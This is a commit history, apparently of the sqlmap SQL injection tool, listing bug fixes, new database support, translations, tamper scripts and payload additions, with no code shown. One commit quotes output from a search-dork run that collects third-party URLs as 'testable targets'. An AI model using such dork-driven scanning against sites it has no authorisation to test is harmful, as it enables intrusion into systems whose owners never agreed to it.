Miroslav Stampar 609545176f Minor refactoring 2020-08-28 14:46:59 +02:00
Miroslav Stampar 8de4820b24 Minor update 2020-08-28 14:24:43 +02:00
Miroslav Stampar df5fabbbbb Adding couple of doctests 2020-08-24 11:10:13 +02:00
Miroslav Stampar 0c48d0dbec Minor update on request 2020-08-23 22:11:24 +02:00
Miroslav Stampar 5108c2d06c Minor update regarding #4312 2020-08-23 21:16:56 +02:00
Miroslav Stampar 603d602550 Fixes #4313 2020-08-23 20:59:10 +02:00
Miroslav Stampar 907786edb8 Patch for #4314 2020-08-23 20:56:22 +02:00
Miroslav Stampar 85b73f872e Minor patch 2020-08-20 13:54:52 +02:00
Miroslav Stampar a42ec7d9cb Trivial refactoring 2020-08-13 16:22:09 +02:00
tree-chtsec b3f4c6d0fc Make asterisk work with --csrf-token option (#4305) 2020-08-13 16:18:31 +02:00
Miroslav Stampar cec65f3a27 Adding new tamper script 2020-08-12 09:50:04 +02:00
Miroslav Stampar cc79ae69aa Fixes #4303 2020-08-11 15:09:23 +02:00
Miroslav Stampar 5a9dc15cf2 Introduction of --base64-safe 2020-08-10 22:26:03 +02:00
Miroslav Stampar f1fd080ba5 Minor improvement 2020-08-10 21:54:58 +02:00
Miroslav Stampar cfe9fb4f5b Fixes #4301 2020-08-10 21:27:38 +02:00
Miroslav Stampar 7a55c9c145 Trivial update 2020-08-10 21:26:37 +02:00
Miroslav Stampar 4077a359f4 Fixes #4294 2020-08-05 22:43:32 +02:00
Miroslav Stampar 435fd49f1d Trivial update 2020-08-04 10:34:18 +02:00
Miroslav Stampar bcfd9c3f48 Trivial update 2020-08-04 10:27:52 +02:00
Miroslav Stampar 39c320c29b Fixes #4292 2020-08-03 23:23:14 +02:00
Miroslav Stampar b719b9612f Adding new tamper script 2020-07-29 13:40:23 +02:00
Miroslav Stampar 84bc2640d1 Minor adjustment on private request 2020-07-28 12:55:57 +02:00
Miroslav Stampar fced29a242 Fixes #4285 2020-07-28 11:30:47 +02:00
Miroslav Stampar 2e5e958d3f Fixes #4287 2020-07-28 11:22:05 +02:00
Miroslav Stampar 1e30471d3d Minor update 2020-07-28 11:10:15 +02:00
Miroslav Stampar 10b93d753d Adding new tamper script 2020-07-27 14:01:12 +02:00
Miroslav Stampar 1280abc25c Adding some tamper scripts 2020-07-27 13:49:48 +02:00
Miroslav Stampar c47061f25d Update regarding #4281 2020-07-26 20:16:58 +02:00
HerendraTJ 9b871f1093 Spacing (#4279)
Add spacing Basisdata --> Basis data because two words is 100% different in Indonesia language.
2020-07-26 20:06:59 +02:00
Miroslav Stampar 0ba07e93d5 Fixes #4284 2020-07-26 19:34:30 +02:00
Miroslav Stampar ce50acf69d Minor update 2020-07-22 11:25:06 +02:00
Miroslav Stampar 9f0ff27c26 Fixes #4277 2020-07-22 09:57:13 +02:00
Miroslav Stampar ecafac5cd2 Minor cleanup 2020-07-21 22:05:02 +02:00
Miroslav Stampar f39869992c Fixes #4275 2020-07-20 12:43:17 +02:00
Miroslav Stampar e910fc6b8b Some more things regarding #4269 2020-07-16 16:10:13 +02:00
Gustavo 6375f9e506 Fixing an error (#4267)
There was a newline breaking the link:

"[aqui]
(https://github.com/sqlmapproject/sqlmap/tarball/master)"
2020-07-16 14:45:17 +02:00
Miroslav Stampar 8e649dc3f7 Minor patch 2020-07-16 14:42:51 +02:00
Miroslav Stampar a6ce91a3e2 Fixes #4269 2020-07-16 14:30:50 +02:00
Miroslav Stampar 408862b040 Update regarding #4268 2020-07-16 14:22:32 +02:00
Miroslav Stampar fc4dec7291 Fixes #4260 2020-07-15 15:29:35 +02:00
Miroslav Stampar 274a6e62da Patch for #4261 2020-07-15 14:53:35 +02:00
Miroslav Stampar aa7c548376 Fixes #4263 2020-07-15 14:49:16 +02:00
Miroslav Stampar 6b7a1dfd94 Adding new payload (credits: blackfan.ru) 2020-07-10 14:33:45 +02:00
Miroslav Stampar 67f918f6ad Minor update 2020-07-07 11:31:07 +02:00
Miroslav Stampar a65e1faf99 Patch for #4258 2020-07-07 10:41:23 +02:00
Miroslav Stampar ff48e1d820 Minor update (phpass) 2020-07-01 13:04:44 +02:00
Miroslav Stampar 0094f02fb0 Adding support for generic phpass (Wordpress, Drupal, PHPBB3, etc.) (Issue #4252) 2020-07-01 12:46:26 +02:00
Miroslav Stampar 459130196a Minor patch 2020-07-01 11:56:24 +02:00
Miroslav Stampar 0a8a65bc0b Update regarding #4248 2020-06-29 20:29:46 +02:00
Miroslav Stampar 5d370f2fa1 Update regarding the #4243 2020-06-26 11:45:05 +02:00
Miroslav Stampar 1296336e18 Minor cleanup 2020-06-25 15:13:35 +02:00
Miroslav Stampar 75b3736467 Re-implementation for #4243 2020-06-25 15:07:19 +02:00
Miroslav Stampar 282eb7e533 Minor update related to the #4244 2020-06-25 13:48:50 +02:00
Miroslav Stampar f28d82c119 Minor patch related to the #4239 2020-06-25 13:02:56 +02:00
Miroslav Stampar 74603c5530 Fixes #4239 2020-06-25 12:55:10 +02:00
Miroslav Stampar 050700f079 Fixes #4237 2020-06-24 12:05:40 +02:00
Miroslav Stampar 31bf1fc6b6 Update regarding #4239 2020-06-24 11:41:51 +02:00
Miroslav Stampar d4d83b29f0 Drei patch (Issue #4235) 2020-06-17 21:58:10 +02:00
Miroslav Stampar 596fff48ad Fixes #4235 2020-06-17 20:56:50 +02:00
Miroslav Stampar 56ff081314 Up the ante 2020-06-17 20:05:12 +02:00
Miroslav Stampar 69421b4806 Fixes #4231 2020-06-14 22:12:00 +02:00
Miroslav Stampar 3910b86853 Potential patch for #4232 2020-06-14 22:01:49 +02:00
Miroslav Stampar bbdedb39f9 Fixes #4233 2020-06-14 21:23:55 +02:00
Miroslav Stampar d0be782ece Update for #4212 2020-06-10 12:53:22 +02:00
Miroslav Stampar 16c8673e98 Implementation on request (--csrf-retries) 2020-06-10 12:49:35 +02:00
Miroslav Stampar 1dedc36d85 Implementation for #4212 2020-06-10 12:19:52 +02:00
Miroslav Stampar c1d46c95ed Minor correction 2020-06-10 11:53:58 +02:00
Miroslav Stampar d5fc2c9350 Patch for #4227 2020-06-05 17:37:36 +02:00
Miroslav Stampar c28ad8fcd8 Adding boundary for #4221 2020-06-05 17:32:41 +02:00
Miroslav Stampar 2d06543cac Fixes #4220 2020-06-01 03:29:53 +02:00
Miroslav Stampar 6a1e0fb497 Travis CI patch (no more --check-internet) 2020-05-27 18:39:48 +02:00
Miroslav Stampar 5c650e15a9 Still debugging Travis CI issue 2020-05-27 18:30:13 +02:00
Miroslav Stampar c97a814d26 Trying to deal with Travis CI problem 2020-05-27 17:57:38 +02:00
Miroslav Stampar a58d08c7e4 Removing deprecated option 2020-05-27 16:50:16 +02:00
Miroslav Stampar 9c503873ad Minor patch (TravisCI related) 2020-05-27 15:44:44 +02:00
Miroslav Stampar 03dfd6b4d5 Fixes #4214 2020-05-27 15:39:03 +02:00
Miroslav Stampar d5a2ffc8ce Patch for Issue #4211 2020-05-21 22:32:16 +02:00
Miroslav Stampar ddf8b1b198 Fixes #4208 2020-05-20 16:12:19 +02:00
Karim Kanso 9a36357c52 SQLite table dumping compatibility improvements. (#4205)
* Fix sqlite regex for create table to support implicit column types

* Fix sqlite when dumping large tables
2020-05-20 15:35:20 +02:00
Miroslav Stampar 667e4d00f2 Fixes #4204 2020-05-20 15:20:44 +02:00
Miroslav Stampar 788dcbf077 Update of THANKS file 2020-05-20 15:04:31 +02:00
Miroslav Stampar a851dc486a Couple of trivialities 2020-05-15 12:58:03 +02:00
Miroslav Stampar 9077734ec5 Minor update related to last couple of commits 2020-05-14 19:20:16 +02:00
Miroslav Stampar 7b49c46906 Commit as a thank you for the donation 2020-05-14 17:48:07 +02:00
Miroslav Stampar 317bc0f69c Trivial text update 2020-05-14 17:17:34 +02:00
Miroslav Stampar c7bdf27542 Tribute to all the FUBAR h4x0rs around the world (#4183) 2020-05-14 17:15:33 +02:00
Miroslav Stampar b334b6b742 Patch for #4199 2020-05-13 14:18:19 +02:00
Miroslav Stampar aa812effe7 Fixes #4203 2020-05-13 13:45:52 +02:00
Miroslav Stampar 99e2a26a8d Fixes #4202 2020-05-13 12:53:58 +02:00
Miroslav Stampar 01edcbf71d Minor patch (proper exit code-ing) 2020-05-13 12:39:37 +02:00
Miroslav Stampar 0b93311ef2 Fixes #4201 2020-05-13 11:59:59 +02:00
Miroslav Stampar 4f3f43d8bb Further update for #4198 2020-05-11 17:55:48 +02:00
Miroslav Stampar 4582948aac Update regarding #4198 2020-05-11 12:38:54 +02:00
Miroslav Stampar 3729b76c14 Fixes #4194 2020-05-11 11:31:36 +02:00
Miroslav Stampar a8c3d17583 Fixes #4197 2020-05-11 11:13:06 +02:00
Miroslav Stampar 3c36b186ad Mixing some fresh blood (PwnedPasswordTop100k) 2020-05-06 13:28:13 +02:00
Miroslav Stampar 075fa1d4be Minor improvement (bz2 slow, zlib fast) 2020-05-06 13:18:19 +02:00
Miroslav Stampar 5be407edad Patch related to the #4188 2020-05-06 00:36:18 +02:00
Miroslav Stampar 7ab82de80f Minor update (usage of cookie in --eval) 2020-05-05 23:57:15 +02:00
Miroslav Stampar 93399ab1b3 Cleaning of leftover parameter values 2020-05-05 23:50:45 +02:00
Miroslav Stampar 87bccf4aa7 Patch related to the #4187 2020-05-05 23:40:37 +02:00
Miroslav Stampar 1c179674d8 Minor patching (--not-string related) 2020-05-05 13:31:44 +02:00
Miroslav Stampar 7a6433b9ef Proper implementation for #4184 2020-05-04 12:25:46 +02:00
Miroslav Stampar 4e7f0b10d5 Patch related to the #4185 2020-05-04 10:45:39 +02:00
Miroslav Stampar 0351b4a939 Minor patch (CTF related) 2020-05-04 00:06:03 +02:00
Miroslav Stampar 3c93872d53 Update related to the #4182 2020-05-02 13:59:06 +02:00
Miroslav Stampar 881d767df8 Fixes #4181 2020-04-30 16:20:57 +02:00
Miroslav Stampar 1156b53eee Patch for #4178 2020-04-29 14:36:11 +02:00
Miroslav Stampar 5cacf20eb5 Speeding up the post-processing of large dumps 2020-04-27 14:23:47 +02:00
Miroslav Stampar 1825390951 Feeding the OCD 2020-04-26 15:35:34 +02:00
Miroslav Stampar 7815f88027 Patch for #4171 2020-04-26 15:34:27 +02:00
Miroslav Stampar f63a92a272 Another minor patch related to the #4167 2020-04-21 01:26:28 +02:00
Miroslav Stampar e3b3dea46c Patch related to the #4167 2020-04-21 01:21:50 +02:00
Miroslav Stampar 55595edce2 Fixes #4165 2020-04-17 19:29:36 +02:00
Miroslav Stampar aaa0c5c6a8 Minor update 2020-04-15 23:32:15 +02:00
Miroslav Stampar 57bb710ae6 Bug fix (CTF and stuff) 2020-04-08 22:40:23 +02:00
Miroslav Stampar ce9285381d Fixes #4158 2020-04-07 02:07:54 +02:00
Miroslav Stampar dad4879200 Couple of trivial refactorings 2020-04-03 00:16:38 +02:00
Miroslav Stampar 2cba4e2d78 Minor update 2020-03-26 14:58:58 +01:00
Miroslav Stampar 8ec165d688 Fixes #4144 2020-03-19 11:25:12 +01:00
Miroslav Stampar 492fbae7c5 Fixes #4143 2020-03-18 10:17:58 +01:00
Miroslav Stampar a8d81a7962 Fixes #4141 2020-03-17 11:10:52 +01:00
Miroslav Stampar fcb2a6e111 Patch related to the #4137 2020-03-16 17:31:37 +01:00
Miroslav Stampar 2e7333d7c8 Fixes #4133 2020-03-16 16:56:00 +01:00
Miroslav Stampar 5fd2598da0 Fixes #4136 2020-03-12 22:36:12 +01:00
Miroslav Stampar 111201978c Fixes #4131 2020-03-09 10:44:11 +01:00
Miroslav Stampar 41bdb93655 Fixes #4132 2020-03-09 10:30:24 +01:00
Miroslav Stampar 6cd0b1120f Minor update 2020-03-06 12:26:31 +01:00
Miroslav Stampar 97ccf4ca66 Minor patch 2020-03-06 12:21:26 +01:00
Miroslav Stampar 8cc516dc5f Bug fix (wrong coloring in some cases) 2020-03-05 14:02:27 +01:00
Miroslav Stampar 8e39c6fc3d Minor update 2020-03-04 22:55:35 +01:00
Miroslav Stampar d9e540e8b2 Couple of minor patches 2020-03-04 22:43:50 +01:00
Miroslav Stampar e0ad99d534 Trivial refactoring 2020-03-03 14:40:40 +01:00
Miroslav Stampar 5f5ee6ca68 Fixes #4130 2020-03-03 14:35:38 +01:00
Miroslav Stampar 7a5538ab3e Minor just in case patch 2020-03-03 14:32:01 +01:00
Miroslav Stampar 125de093df Adding support for FrontBase 2020-03-02 12:43:12 +01:00
Miroslav Stampar dc6e7321e9 Cleaning something something 2020-02-28 14:55:48 +01:00
Miroslav Stampar 1023da405a More Python 3.9 fixing (can't wait for Python 10.7) 2020-02-28 14:44:27 +01:00
Miroslav Stampar 013af3235e I would die for Python3(.9) 2020-02-28 14:37:37 +01:00
Miroslav Stampar 2a1e812288 Some more Python 3.9 patching 2020-02-28 14:24:50 +01:00
Miroslav Stampar 44b7cc7d17 Travis patch 2020-02-28 14:11:16 +01:00
Miroslav Stampar 60a2d74f2b Fixes #4126 2020-02-28 14:08:43 +01:00
Miroslav Stampar 83fecfc1ba Minor patch 2020-02-27 14:31:43 +01:00
Miroslav Stampar 86c6e3d5fc Minor adjustment 2020-02-26 21:47:10 +01:00
Miroslav Stampar 5eb2263c42 Adding support for eXtremeDB 2020-02-26 17:33:47 +01:00
Miroslav Stampar 7ff77ef052 Adding support for InterSystems Cache (and IRIS) 2020-02-25 12:36:07 +01:00
Miroslav Stampar 5c82f30fd8 Trivial update 2020-02-18 10:00:23 +01:00
Miroslav Stampar 3f17dc4747 Fixes #4113 2020-02-17 13:48:22 +01:00
Miroslav Stampar e1502e0cea Fixes #4118 2020-02-17 12:24:23 +01:00
Miroslav Stampar c3fe9a0d47 Fixes #4116 2020-02-17 11:50:37 +01:00
Miroslav Stampar f8b2cb5a0a Fixes #4115 2020-02-17 11:43:12 +01:00
Miroslav Stampar 597013477d Minor update 2020-02-13 14:24:53 +01:00
Miroslav Stampar 0453a2827c Couple of patches 2020-02-12 16:21:09 +01:00
Miroslav Stampar 0605f14d87 Couple of fixes for SAP MaxDB 2020-02-11 15:33:17 +01:00
Miroslav Stampar 176e89d978 Minor update 2020-02-10 17:35:38 +01:00
Miroslav Stampar b7cdcebcea Minor patch for HSQLDB 2020-02-10 17:22:36 +01:00
Miroslav Stampar 1fb1a05a78 Couple of patches (CockroachDB, Drizzle, Firebird related) 2020-02-10 16:22:58 +01:00
Miroslav Stampar 2d48b8effa Minor update 2020-02-10 12:57:04 +01:00
Miroslav Stampar 4ef9557ccd Minor update 2020-02-07 16:33:22 +01:00
Miroslav Stampar 3513ca66fe Minor beautification 2020-02-07 14:26:01 +01:00
Miroslav Stampar 6467c63c24 Patch for couple of bugs found during bed-testing 2020-02-07 14:02:45 +01:00
Miroslav Stampar f19f38d1d5 Fixes #4102 2020-02-07 10:12:33 +01:00
Miroslav Stampar a0b279848d Trivial update 2020-02-07 00:30:02 +01:00
Miroslav Stampar ec80009812 Minor refactoring 2020-02-07 00:06:09 +01:00
Miroslav Stampar 19e08416b5 Should fix broken Travis 2020-02-06 22:52:45 +01:00
Miroslav Stampar 6825bf85a4 Debugging broken Travis (2) 2020-02-06 22:44:37 +01:00
Miroslav Stampar 4fa39f4539 Debugging broken Travis 2020-02-06 22:34:59 +01:00
Miroslav Stampar a989e1abfe Minor refactoring 2020-02-06 22:15:31 +01:00
Miroslav Stampar c71bdf5c9e Minor 'patch' for #4095 2020-02-06 14:26:42 +01:00
Miroslav Stampar 1b92acc033 Fixes #4105 2020-02-06 14:20:33 +01:00
Miroslav Stampar f968b23f63 Minor update 2020-02-06 14:17:14 +01:00
Miroslav Stampar 5f39016af7 Adding recognition of Amazon Aurora forks 2020-02-03 22:11:19 +01:00
Miroslav Stampar 1dd400f93d Minor patch 2020-02-03 16:54:00 +01:00
Miroslav Stampar feb1df6a05 Adding support for Apache Ignite (H2 fork) 2020-02-03 13:47:31 +01:00
Miroslav Stampar 4772a9243a Minor update 2020-02-03 11:52:42 +01:00
Miroslav Stampar 8649021b78 Adding support for Drizzle (MySQL fork) 2020-02-03 11:46:03 +01:00
Miroslav Stampar 9d6c931faa Finalizing support for Cubrid 2020-02-03 11:33:19 +01:00
Miroslav Stampar 264a270985 Adding initial support for Cubrid 2020-02-03 01:58:12 +01:00
Miroslav Stampar 4278bbce11 Patch for sporadic --parse-errors in generic SQL errors (e.g. CrateDB) 2020-02-02 22:01:57 +01:00
Miroslav Stampar db126af86a Minor generalization for special cases 2020-02-02 21:07:53 +01:00
Miroslav Stampar 18b72e605a Trivial update 2020-02-02 14:59:13 +01:00
Miroslav Stampar 0e4232f533 Adding support for CrateDB 2020-02-02 14:51:24 +01:00
Miroslav Stampar e448905eb1 Fixes #4085 2020-02-01 15:30:01 +01:00
Miroslav Stampar ee7aa68da8 Trivial patch for #4099 2020-02-01 14:39:11 +01:00
Miroslav Stampar 2fc4d17cbc Update regarding #4099 2020-02-01 14:36:27 +01:00
elias 93aa981e4f Add link of persian (#4099)
* Add the persian translations

* Update README-fa-FA.md

* Update README-fa-FA.md

* Update README-fa-FA.md

* Update README-fa-FA.md

* add to persian translations

HI 
please add to persian translations
regard: elias rohani

* Add link of persian

* Revert "Add link of persian"

* Revert "Add link of persian"
2020-02-01 14:28:16 +01:00
Miroslav Stampar a4cb6dbb00 Fixes #4093 2020-01-31 22:37:39 +01:00
Miroslav Stampar 4e3af35ceb Fixes #4096 2020-01-31 21:51:02 +01:00
Miroslav Stampar 5d7b7d6bca Couple of patches 2020-01-31 21:24:20 +01:00
Miroslav Stampar 8ab4f6214f Adding recognition of Greenplum (pgsql fork) 2020-01-31 13:01:15 +01:00
Miroslav Stampar 8d343fc2a6 Adding support for Amazon Redshift (pgsql fork) 2020-01-31 11:39:16 +01:00
Miroslav Stampar 421f1878e3 Adding support for MimerSQL 2020-01-31 11:33:31 +01:00
Miroslav Stampar f21388d550 Minor optimization 2020-01-28 10:01:21 +01:00
Miroslav Stampar f38a2c2028 Minor refactoring 2020-01-28 09:42:00 +01:00
Miroslav Stampar 22bf77161a Trivial update 2020-01-28 00:00:06 +01:00
Miroslav Stampar 186b3920e7 Adding support for Percona (MySQL) fork 2020-01-27 23:47:47 +01:00
Miroslav Stampar d227413a14 Adding support for Altibase 2020-01-27 17:32:31 +01:00
Miroslav Stampar 70df6d8b22 Minor update 2020-01-27 12:20:29 +01:00
Miroslav Stampar 6d05985aef Older Python versions have problems with chunking 2020-01-27 12:09:14 +01:00
Miroslav Stampar 8c57b9cd4c Fixes Python3 support for --chunked (drei) 2020-01-27 11:32:05 +01:00
Miroslav Stampar 4cf14c80eb Fixes #4086 2020-01-27 01:07:15 +01:00
Miroslav Stampar 615ac3b733 Minor optimizations 2020-01-25 23:37:57 +01:00
Miroslav Stampar b2d6ab2949 Minor update 2020-01-25 17:15:11 +01:00
Miroslav Stampar 39be0f30d8 Adding recognition of Azure 2020-01-25 16:49:32 +01:00
Miroslav Stampar 6f54be987f Minor modification 2020-01-25 16:33:48 +01:00
Miroslav Stampar 35fa710eed Fixes #4084 2020-01-24 12:38:25 +01:00
Miroslav Stampar f2518f7112 Trivial update 2020-01-23 23:36:28 +01:00
Miroslav Stampar 3779531540 Adding support for TiDB 2020-01-23 23:27:33 +01:00
Miroslav Stampar 447e5ec0ea Trivial patch 2020-01-23 22:18:53 +01:00
Miroslav Stampar d5fab1907d Adding support for Presto 2020-01-23 16:59:02 +01:00
Miroslav Stampar ec4880e0e1 Fixes #4083 (drei) 2020-01-23 13:30:20 +01:00
Miroslav Stampar 984808cc26 Fixes #4081 2020-01-23 11:55:41 +01:00
Miroslav Stampar 6b1f4965ed Fixes #4082 2020-01-23 11:46:17 +01:00
Miroslav Stampar e8be9e4af4 Better patch (related to previous one) 2020-01-23 10:57:35 +01:00
Miroslav Stampar 5b1574614d Minor patch 2020-01-23 10:53:06 +01:00
Miroslav Stampar 2c19d16830 Patch for Python 2.6 compatibility 2020-01-23 04:02:07 +01:00
Miroslav Stampar 60b642e2bd Adding support for Mckoi 2020-01-22 23:41:06 +01:00
Miroslav Stampar 20700fd6b9 Adding support for CockroachDB (Postgres fork) 2020-01-21 23:19:11 +01:00
Miroslav Stampar 4be7c7dcee Trivial patch 2020-01-21 22:29:26 +01:00
Miroslav Stampar 5ab2dfd0d9 Adding support for Vertica 2020-01-21 15:40:59 +01:00
Miroslav Stampar f0f1cf1b21 Minor patch 2020-01-21 11:18:34 +01:00
Miroslav Stampar b25181f061 Adding support for MemSQL (MySQL fork) 2020-01-20 23:11:37 +01:00
Miroslav Stampar 9f85412017 Fixes #4080 2020-01-20 16:11:12 +01:00
Miroslav Stampar 4c804a3fd6 Adding support for Apache Derby 2020-01-20 15:33:45 +01:00
Miroslav Stampar d7a56017bf Trivial update 2020-01-18 07:54:03 +01:00
Miroslav Stampar ef59a365f4 Fix for broken build 2020-01-17 17:22:50 +01:00
Miroslav Stampar 1087396d88 Adding support for MonetDB 2020-01-17 17:14:41 +01:00
Miroslav Stampar 1cfe370276 More refactoring for #4077 2020-01-15 22:47:06 +01:00
Miroslav Stampar 3776f2eeea Minor refactoring for #4077 2020-01-15 22:38:34 +01:00
Tomas Zellerin a6c26fe792 Python 3 binary-character fixes for two urllib requests (#4077)
* Fix python3 binary - character mismatch in api.py

Convert between text and binary data in api.py call to urllib.request
and response from it.

In python3 sqlmapapi -c it fixes, at least
- not nice output from log/list commands
- any command that POSTs data (including new) crashing sqlmapapi

* Fix python3 binary - character mismatch in search.py

Before:
python3 sqlmap.py -g <long random string>
(...)
[18:35:17] [INFO] using search result page #1
no usable links found. What do you want to do?
[1] (re)try with DuckDuckGo (default)
[2] (re)try with Bing
[3] quit
> 1
[18:35:21] [CRITICAL] unable to connect

After:
python3 sqlmap.py -g asfafw2fwesvzsdvaw
(...)
[18:37:30] [INFO] using search result page #1
no usable links found. What do you want to do?
[1] (re)try with DuckDuckGo (default)
[2] (re)try with Bing
[3] quit
> 1
[18:37:34] [INFO] found 26 results for your search dork expression, 16 of them are testable targets
[18:37:34] [INFO] found a total of 16 targets
URL 1:
GET https:...
do you want to test this URL? [Y/n/q]
2020-01-15 22:36:49 +01:00
Miroslav Stampar c082067902 Removing some dead code (vulture) 2020-01-10 11:44:24 +01:00
Miroslav Stampar e37c22793b Patch related to #4070 2020-01-10 11:09:20 +01:00
Miroslav Stampar 14005f476d Minor bug fix 2020-01-09 13:19:54 +01:00
Miroslav Stampar eb3a3b4825 Patch regarding #4066 2020-01-09 11:59:50 +01:00
Miroslav Stampar 71b33e5956 Minor patch 2020-01-09 11:36:19 +01:00
Miroslav Stampar ab203c1ec5 Couple of fixes (--check-internet) and updates 2020-01-09 11:25:09 +01:00
Miroslav Stampar e7dd7e2d48 Trivial refactoring 2020-01-08 10:53:08 +01:00
Miroslav Stampar 89aff21fb6 Minor patch 2020-01-08 10:43:11 +01:00
Miroslav Stampar c95c370254 Couple of patches 2020-01-08 10:37:59 +01:00
Miroslav Stampar 239e4d7927 Minor patch 2020-01-08 00:11:13 +01:00
Miroslav Stampar dbebb34bc8 Trivial patch 2020-01-08 00:01:15 +01:00
Miroslav Stampar 0e9dd9b0be Some testing stuff 2020-01-07 23:49:45 +01:00
Miroslav Stampar 57f17794c4 Adding support for all_proxy (#91) 2020-01-07 21:08:18 +01:00
Miroslav Stampar 7a0a4c28e5 Minor update 2020-01-07 11:48:02 +01:00
Miroslav Stampar 0ea39098bd Fixes #4063 2020-01-07 09:31:54 +01:00
Miroslav Stampar 49afd47c13 Trivial update (year bump) 2020-01-05 22:56:10 +01:00
Miroslav Stampar dc9e2df3c6 Minor update 2020-01-05 22:51:31 +01:00
Miroslav Stampar 3a048a9e67 Trivial cleanup 2020-01-05 22:46:16 +01:00
Miroslav Stampar 6b45199766 Removing obsolete code 2020-01-05 22:43:25 +01:00
Miroslav Stampar bb51c0e41e Minor update 2020-01-03 14:03:01 +01:00
Miroslav Stampar 5d62195a41 Minor update of testing 2020-01-03 13:46:12 +01:00
Miroslav Stampar 8ace3363bd Trivial update 2020-01-01 14:04:01 +01:00
Miroslav Stampar 4606d5afd5 Copyright year bump 2020-01-01 14:02:52 +01:00
Miroslav Stampar e9ec443a8a First dummy 2020 commit 2020-01-01 13:30:20 +01:00
Miroslav Stampar 4efd745b5c Copyright year bump 2020-01-01 13:25:15 +01:00
Miroslav Stampar 4833e40824 Version bump 2020-01-01 13:22:06 +01:00
Miroslav Stampar e0ecf8c804 Fixes #4056 2019-12-31 11:03:14 +01:00
Miroslav Stampar cf7022b0a0 Minor patch (empty input without newline) 2019-12-27 18:18:32 +01:00
Miroslav Stampar 4c5cb9e0d4 Subtle (sneaky) bug removed (related to #4051) - False or '' results with '' 2019-12-27 15:37:02 +01:00
Miroslav Stampar bcb9482724 Fixes #4048 2019-12-27 15:20:09 +01:00
Miroslav Stampar 70e6700eb7 Fixes #4053 2019-12-27 14:38:22 +01:00
Miroslav Stampar 884ee56730 Fixes #4050 2019-12-23 12:14:40 +01:00
Miroslav Stampar 9ca5dc798e Fixes #4047 2019-12-19 17:35:39 +01:00
Miroslav Stampar c96283a083 Minor patch 2019-12-18 12:29:07 +01:00
Miroslav Stampar b4f9bf3f21 I don't know how this went through 2019-12-18 11:30:13 +01:00
Miroslav Stampar d52d5f0ddc Fixes #4046 2019-12-18 11:04:01 +01:00
Miroslav Stampar d38acbe347 Fixing lost versioning 2019-12-18 10:19:03 +01:00
Miroslav Stampar 7dae324ed6 Trivial update 2019-12-15 16:33:03 +01:00
Ryan Young 24aadbd850 Support IPv6 literals ("[::1]:8080") in the proxy switch. (#4041) 2019-12-15 16:06:26 +01:00
tanaydin sirin 3145de15d8 Update common-columns.txt (#4039)
Some more common Turkish column names.
2019-12-13 17:29:12 +01:00
Miroslav Stampar 6e06df3d39 Minor bug fix 2019-12-12 14:10:02 +01:00
Miroslav Stampar f01610b397 Minor update 2019-12-12 11:51:26 +01:00
Miroslav Stampar a5ed4c5255 Minor update 2019-12-12 11:42:14 +01:00
Gabriel M. Dutra 9866e478b9 Change vocabulary for better understanding. (#4034) 2019-12-10 15:26:57 +01:00
Miroslav Stampar 251c8ba064 Minor update 2019-12-10 13:54:29 +01:00
Miroslav Stampar 1a95cea1f2 Trivial updates 2019-12-09 22:13:52 +01:00
Gabriel M. Dutra 38d5086b88 Added implicit verification (#4032) 2019-12-09 21:49:11 +01:00
Miroslav Stampar 7b5a640d1f Minor update 2019-12-09 11:35:22 +01:00
Miroslav Stampar e853508192 Update for #4030 2019-12-09 11:31:07 +01:00
Miroslav Stampar 5d32ca638b Minor update 2019-12-06 16:11:22 +01:00
Miroslav Stampar 0c8f6156d2 Trivial update 2019-12-06 16:03:51 +01:00
Miroslav Stampar 292bdf4479 Fixes #4028 2019-12-06 16:02:25 +01:00
Miroslav Stampar 82e6bc64c2 Fixes #4026 2019-12-06 15:20:09 +01:00
Miroslav Stampar ea0ec868e9 Fixes #4029 2019-12-06 15:15:39 +01:00
Miroslav Stampar 424d4ee968 Minor compatibility update 2019-12-05 22:45:57 +01:00
Miroslav Stampar f4bfa7a5ae Minor patch 2019-12-05 22:20:00 +01:00
Miroslav Stampar 568ee4669e Minor patch (gui) 2019-12-05 13:56:46 +01:00
Miroslav Stampar c3a6b71023 Fixes #4025 2019-12-05 13:50:16 +01:00
Miroslav Stampar f7a237fdee Adding basic functionality to a hidden feature 2019-12-03 23:30:28 +01:00
Miroslav Stampar 948903f232 Fixes #4024 2019-12-02 10:10:58 +01:00
Miroslav Stampar 20d875a8ce Fixes #4020 2019-11-30 23:10:40 +01:00
raimundmuc f947c5f76e Fix regression introduced by b3cdec5 (#4022) 2019-11-30 22:48:34 +01:00
Miroslav Stampar 1233573df1 Removing leftover 2019-11-30 11:25:38 +01:00
Miroslav Stampar 04ce6ba91b Minor patch 2019-11-30 11:14:41 +01:00
Miroslav Stampar c1f98d07c1 Couple of important patches 2019-11-30 04:42:38 +01:00
Miroslav Stampar fddc818764 New tests 2019-11-29 22:03:16 +01:00
Miroslav Stampar c028fb9003 Patch for websocket (with multiple recv requirement) 2019-11-28 13:53:47 +01:00
Miroslav Stampar 1bfb9efb91 Minor patch 2019-11-28 13:41:02 +01:00
Miroslav Stampar 7731c6c135 Minor patch 2019-11-28 00:29:42 +01:00
Miroslav Stampar 989915b91c Bug fix (type detection in SQLite --common-columns) 2019-11-28 00:02:08 +01:00
Miroslav Stampar 03728a4f20 Bug fix (--common-columns on SQLite) 2019-11-27 23:40:36 +01:00
Miroslav Stampar 47d2cf0c6c Some more tests 2019-11-27 23:26:39 +01:00
Miroslav Stampar ce65733043 Minor patch (problem reported via email) 2019-11-27 12:09:51 +01:00
Miroslav Stampar 6ab1cf8caa Minor cleanup 2019-11-26 16:22:23 +01:00
Miroslav Stampar 78a5573563 Just in case patch 2019-11-26 14:03:22 +01:00
Miroslav Stampar db2e74a810 Minor patch 2019-11-26 13:51:08 +01:00
Miroslav Stampar 04708c6d1a Minor improvement 2019-11-26 13:36:06 +01:00
Miroslav Stampar 6823971442 Minor patch 2019-11-26 13:18:21 +01:00
Miroslav Stampar adf713d18c Minor update 2019-11-25 23:47:29 +01:00
Miroslav Stampar d8e4eede6e Minor patch 2019-11-25 22:59:22 +01:00
Miroslav Stampar 862959f27a Minor check 2019-11-25 22:57:44 +01:00
Miroslav Stampar f1000e0d15 Minor update 2019-11-22 16:25:46 +01:00
Miroslav Stampar 72443ed875 Minor cleanup 2019-11-22 16:22:28 +01:00
Miroslav Stampar 4116ee5f78 Minor update 2019-11-22 16:21:17 +01:00
Miroslav Stampar 6e46624fe0 Fixes #4017 2019-11-22 15:20:45 +01:00
Miroslav Stampar 9c87671e3a Some more experimental updates 2019-11-22 14:39:44 +01:00
Miroslav Stampar d1bb69f917 Minor improvement 2019-11-21 17:26:18 +01:00
